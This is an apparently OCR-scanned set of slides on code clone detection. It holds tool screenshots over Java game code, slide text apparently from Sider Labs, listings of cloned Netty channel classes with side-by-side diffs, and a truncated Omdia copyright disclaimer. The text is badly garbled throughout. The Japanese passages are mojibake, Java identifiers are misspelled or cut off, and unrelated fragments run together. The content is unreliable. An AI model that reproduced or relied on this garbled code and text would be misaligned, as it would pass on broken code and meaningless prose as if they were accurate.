D 26 TreEventjava 76 ] CNWD{EWMES;E{;E{EA, 161 + Cmn.fntH, "Load", 255, 255, 255, g), i rlinti = 0; i < 8 i++){
2  WorldPointjava 91 0 Cmn DrawMessage(54, 177 + Cmn.fritH, "New Game”, 255, 255, 255, g); 850 (nn.NumDraw(x + 140 + 10,y + 7+ Cmn.ftH * 2,i + 1);
Jes WorldPointSetjava 4855 4
~ 861
//Cmn.DrawMessagels, 62
//Cmn.DrawMessage(0, 45, "33 55, 255, 255 ggj gg’;}g’*“
//Cmn.DrawMessage(0 ;
e — 865 tag¥ =y + Cmn.fntH * Cimn menuCrnch
//Cmn.DrawMessage(0 BLITEEETEH MEIFEIN .. v BG6  iffactRetX- tagX < RECT_SPEED & actRciX - tagX > -RECT_SPEED){ v
< > < > < < >
Ready. PS: java #Files: 28 (2) #Clone Sets: 489 () <] 4§ Oignorecase
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(@-AP-30. Sider LabsCO 11— RIO—>XAFv > (1)

o J39YTSinder Labs%icE)., 7hU b, 074> %R, Y—/VEfRIERE,

https://www.siderlabs.com/labs

o ZAF UV IV E RSYTROVI I BT,

UI709U>0&ULELS!

J—ko0—>*2RDET. J—RREZALEEHELLS. STSENTHRATEEY.

BFLEEVWIOSTI bDOITAINSEZZICROYIULTLEZV
FEAT ISR =55 (dava/lavaScript/TypeScript/PHP/C/C++/Swift/Ruby/CUDA T

RADUMPI 7 LB ZIC RO F LT LIZEW
RADUMP I 7 AJL&(d?
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@-AP-31. Sider LabsCO 11— RIO—>XFv > (2)

o AFv SR
J-Ro0-2%, J0-2HER

| mENRIANIERDABLY |©

| mFor rzRE & @

RFEROHE O

¥y m=E

v 32

~OR2 12 E

d—RIO—>48 1

0 Zo—>nzWiE SUE NS VIR

543 16

20—ATH(EE)

Q B=

HIBEOI—RATOS o M THOO-2ENTWSHEEE [D—-RoO-288] &F
ELU. HHOZVETERRLTVWET, 1— ROO—-AFIHZNEE, BEO I—RA Ty
FIC BHRASNTWS T EERLTED, EEOBRICIEHEESIHETT .

<

o || EEEFN\A31haNnd

e 0%

...netty/channel/socket/Defau ItServerSocketChanneIConfig.jav\a,

e 0%

...netty/channel, Socket/DefauItServerSocketChanneIConfig.jave

0 2o0->»zuvm

20— OEBEOBHAEICDOVT

==
I7ANE
3
/netty-
33.91 4.1/example/s...y/example/worldclock/
WorldClockProtocol.java (L917 - L1639)
3107 /netty-4.1/transport.../netty/channel/epoll/
1.

EpoliDatagramChannel.java (L340 - L464)

/netty-4.1/transport.../netty/channel/epoll/
30.73 AbstractEpoliStreamChannel.java (L252 -
L423)

QO m=

I7AINEA2

/netty-4.1/example/s...y/example/worldclock/
WorldClockProtocol.java (L2624 - L3346)

/netty-4.1/transport...netty/channel/kqueue/
KQueueDatagramcChannel.java (L270 -
L394)
/netty-4.1/transport...netty/channel/kqueue/
AbstractKQueueStreamChannel.java (L103
-L275)

|

v (L157 -174) (L187 - 204)
v
TrrekERL RIS |
= super.setMaxMessagesPerRead(maxMessagesPerRead) ; + super.setWriteBufferHighWaterMark (writeBufferHighWater
158 return this; 188 return this;
158 } 189 }
160 190
161 @0verride 191 @0verride
- public ServerSocketChannelConfig setWriteSpinCount(int wri + public ServerSocketChannelConfig setWiriteBufferLowlWaterMar
- super.setWriteSpinCount(writeSpinCount); + super.setWriteBufferLowWaterMark (writeBufferLowhaterMz
164 return this; 194 return this;
165 } 195 }
166 196
167 @Override 197 @0verride
- public ServerSocketChannelConfig setAllocator (ByteBufAlloc + public ServerSocketChannelConfig setWiriteBufferWaterMark (b
- super.setAllocator(allocator); + super.setWriteBufferiWaterMark (writeBufferWaterMark);
170 return this; 208 return this;
171 } 201 }
172 202
173 @Override 203 @0override
- public ServerSocketChannelConfig setRecvByteBufAllecator (R + public ServerSocketChannelConfig setMessageSizeEstimator (M

»
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Disclaimer

The Omdia research, data and information referenced herein (the “Omdia Materials”) are the copyrighted property of Informa Tech and its subsidiaries or
affiliates (together “Informa Tech”) and represent data, research, opinions or viewpoints published by Inform esentations of fact.

The Omdia Materials reflect information and opinions from the original publication date and not fro
opinions expressed in the Omdia Materials are subject to change without notice and Informa Tech
Omdia Materials or this publication as a result.

Omdia Materials are delivered on an “as-is” and “as-available” basis. No representation or w.
accuracy, completeness or correctness of the information, opinions and conclusions contain

To the maximum extent permitted by law, Informa Tech and its affiliates, officers, directors,
without limitation, any liability arising from fault or negligence) as to the accuracy or comp
under any circumstance whatsoever, be liable for any trading, investment, commercial or
Materials.
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